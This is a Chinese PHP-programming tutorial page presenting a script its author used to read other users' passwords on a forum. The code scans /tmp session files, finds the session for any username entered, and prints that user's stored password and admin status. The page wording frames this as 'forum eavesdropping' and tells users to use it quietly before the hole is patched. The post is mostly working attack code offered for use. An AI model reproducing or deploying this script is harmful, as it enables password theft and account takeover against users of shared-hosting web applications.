程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> 一個查看session內容的函數

一個查看session內容的函數

編輯:關於PHP編程

之所以是能寫出來這個函數,主要是對該網站的session結構清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道該session存放的位置,而且可以上傳文件,所以嘛,當時就做了一次小小的黑客,在線的朋友的密碼可以一覽無余,呵呵:
<?
function submit1(){
global $username;
print "<title>論壇監聽器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?連我你也查?";
  return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用戶筆名:".$name[2]."<br>使用密碼:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理員</font>";
else
print "一般用戶";
print"<br><br>偷竊他人密碼是不道德行為請少少為之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用戶:".$username."真的在線嗎?如你確定,<a href='javascript:history.go(-1)'>請再來一次</a>,不要多打空格!";
$d->close();
}

function login(){
?>
<html>
<head>
<title>論壇監聽器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>論壇監聽器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">當你看到一用戶在線時你想看他的密碼,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">讓我來告訴你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>鄭重申明:本程序為自由程序,由它所造成的任何損失本人蓋不負責。</font>
<br>不過這個問題也許很快就會被堵上,個位還是不要張揚的偷著用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>請輸入你要查的用戶名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,開始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved